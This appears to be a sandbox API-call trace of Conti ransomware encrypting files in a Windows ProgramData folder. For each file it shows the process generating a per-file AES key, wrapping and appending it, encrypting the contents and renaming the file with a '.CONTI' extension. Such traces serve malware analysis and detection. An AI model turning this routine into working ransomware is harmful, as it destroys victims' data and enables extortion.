	[0115.532] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml"
	[0115.532] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml.CONTI"
	[0115.532] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0117.121] GetProcessHeap () returned 0x1720000
	[0117.121] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0117.121] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0117.121] GetProcessHeap () returned 0x1720000
	[0117.121] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b90c0 | out: hHeap=0x1720000) returned 1
	[0117.121] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0117.121] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x65cf9c8 | out: phKey=0x65cf9c8*=0x6b7f338) returned 1
	[0117.121] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf9cc, pdwDataLen=0x4e7fc24 | out: pbData=0x65cf9cc*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0117.122] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.122] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0117.123] GetLastError () returned 0x0
	[0117.123] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=4096) returned 1
	[0117.123] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.123] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.123] SetEndOfFile (hFile=0x3ac) returned 1
	[0117.123] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.123] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.123] WriteFile (in: hFile=0x3ac, lpBuffer=0x65cf9cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x65cf9cc*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.124] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.124] ReadFile (in: hFile=0x3ac, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1000, lpOverlapped=0x0) returned 1
	[0117.125] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1000, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1010) returned 1
	[0117.125] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.125] WriteFile (in: hFile=0x3ac, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x1010, lpOverlapped=0x0) returned 1
	[0117.125] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.125] WriteFile (in: hFile=0x3ac, lpBuffer=0x65cf9c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x65cf9c0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0117.125] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.125] CloseHandle (hObject=0x3ac) returned 1
	[0117.125] GetProcessHeap () returned 0x1720000
	[0117.125] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.126] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.126] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.126] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.127] GetProcessHeap () returned 0x1720000
	[0117.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.127] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.127] GetProcessHeap () returned 0x1720000
	[0117.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895e80 | out: hHeap=0x1720000) returned 1
	[0117.127] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0117.127] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x65d0c08 | out: phKey=0x65d0c08*=0x6b7f0f8) returned 1
	[0117.127] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d0c0c, pdwDataLen=0x4e7fc24 | out: pbData=0x65d0c0c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0117.128] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.128] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0117.128] GetLastError () returned 0x0
	[0117.128] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=8192) returned 1
	[0117.128] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0117.128] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.128] SetEndOfFile (hFile=0x3ac) returned 1
	[0117.129] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.129] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.129] WriteFile (in: hFile=0x3ac, lpBuffer=0x65d0c0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x65d0c0c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.130] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.130] ReadFile (in: hFile=0x3ac, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2000, lpOverlapped=0x0) returned 1
	[0117.131] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2000, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2010) returned 1
	[0117.131] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.131] WriteFile (in: hFile=0x3ac, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2010, lpOverlapped=0x0) returned 1
	[0117.131] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.131] WriteFile (in: hFile=0x3ac, lpBuffer=0x65d0c00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x65d0c00*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0117.131] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.131] CloseHandle (hObject=0x3ac) returned 1
	[0117.131] GetProcessHeap () returned 0x1720000
	[0117.131] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.131] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.131] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.131] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.132] GetProcessHeap () returned 0x1720000
	[0117.132] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.132] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.132] GetProcessHeap () returned 0x1720000
	[0117.132] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd510 | out: hHeap=0x1720000) returned 1
	[0117.132] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0117.132] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x65d02e8 | out: phKey=0x65d02e8*=0x6b7f0f8) returned 1
	[0117.132] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d02ec, pdwDataLen=0x4e7fc24 | out: pbData=0x65d02ec*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0117.133] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.133] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0117.133] GetLastError () returned 0x0
	[0117.133] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=4096) returned 1
	[0117.134] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.134] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.134] SetEndOfFile (hFile=0x3ac) returned 1
	[0117.134] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.134] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.134] WriteFile (in: hFile=0x3ac, lpBuffer=0x65d02ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x65d02ec*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.135] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.135] ReadFile (in: hFile=0x3ac, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1000, lpOverlapped=0x0) returned 1
	[0117.136] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1000, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1010) returned 1
	[0117.136] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.136] WriteFile (in: hFile=0x3ac, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x1010, lpOverlapped=0x0) returned 1
	[0117.136] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.136] WriteFile (in: hFile=0x3ac, lpBuffer=0x65d02e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x65d02e0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0117.136] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.137] CloseHandle (hObject=0x3ac) returned 1
	[0117.137] GetProcessHeap () returned 0x1720000
	[0117.137] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.137] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.137] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.137] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.137] GetProcessHeap () returned 0x1720000
	[0117.137] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.137] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.137] GetProcessHeap () returned 0x1720000
	[0117.138] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd610 | out: hHeap=0x1720000) returned 1
	[0117.138] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0117.138] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x65ce788 | out: phKey=0x65ce788*=0x6b7f338) returned 1
	[0117.138] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65ce78c, pdwDataLen=0x4e7fc24 | out: pbData=0x65ce78c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0117.138] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.139] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0117.139] GetLastError () returned 0x0
	[0117.139] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=4096) returned 1
	[0117.139] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.139] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.139] SetEndOfFile (hFile=0x3ac) returned 1
	[0117.139] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.139] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.139] WriteFile (in: hFile=0x3ac, lpBuffer=0x65ce78c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x65ce78c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.140] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.140] ReadFile (in: hFile=0x3ac, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1000, lpOverlapped=0x0) returned 1
	[0117.141] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1000, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1010) returned 1
	[0117.141] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.141] WriteFile (in: hFile=0x3ac, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x1010, lpOverlapped=0x0) returned 1
	[0117.141] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
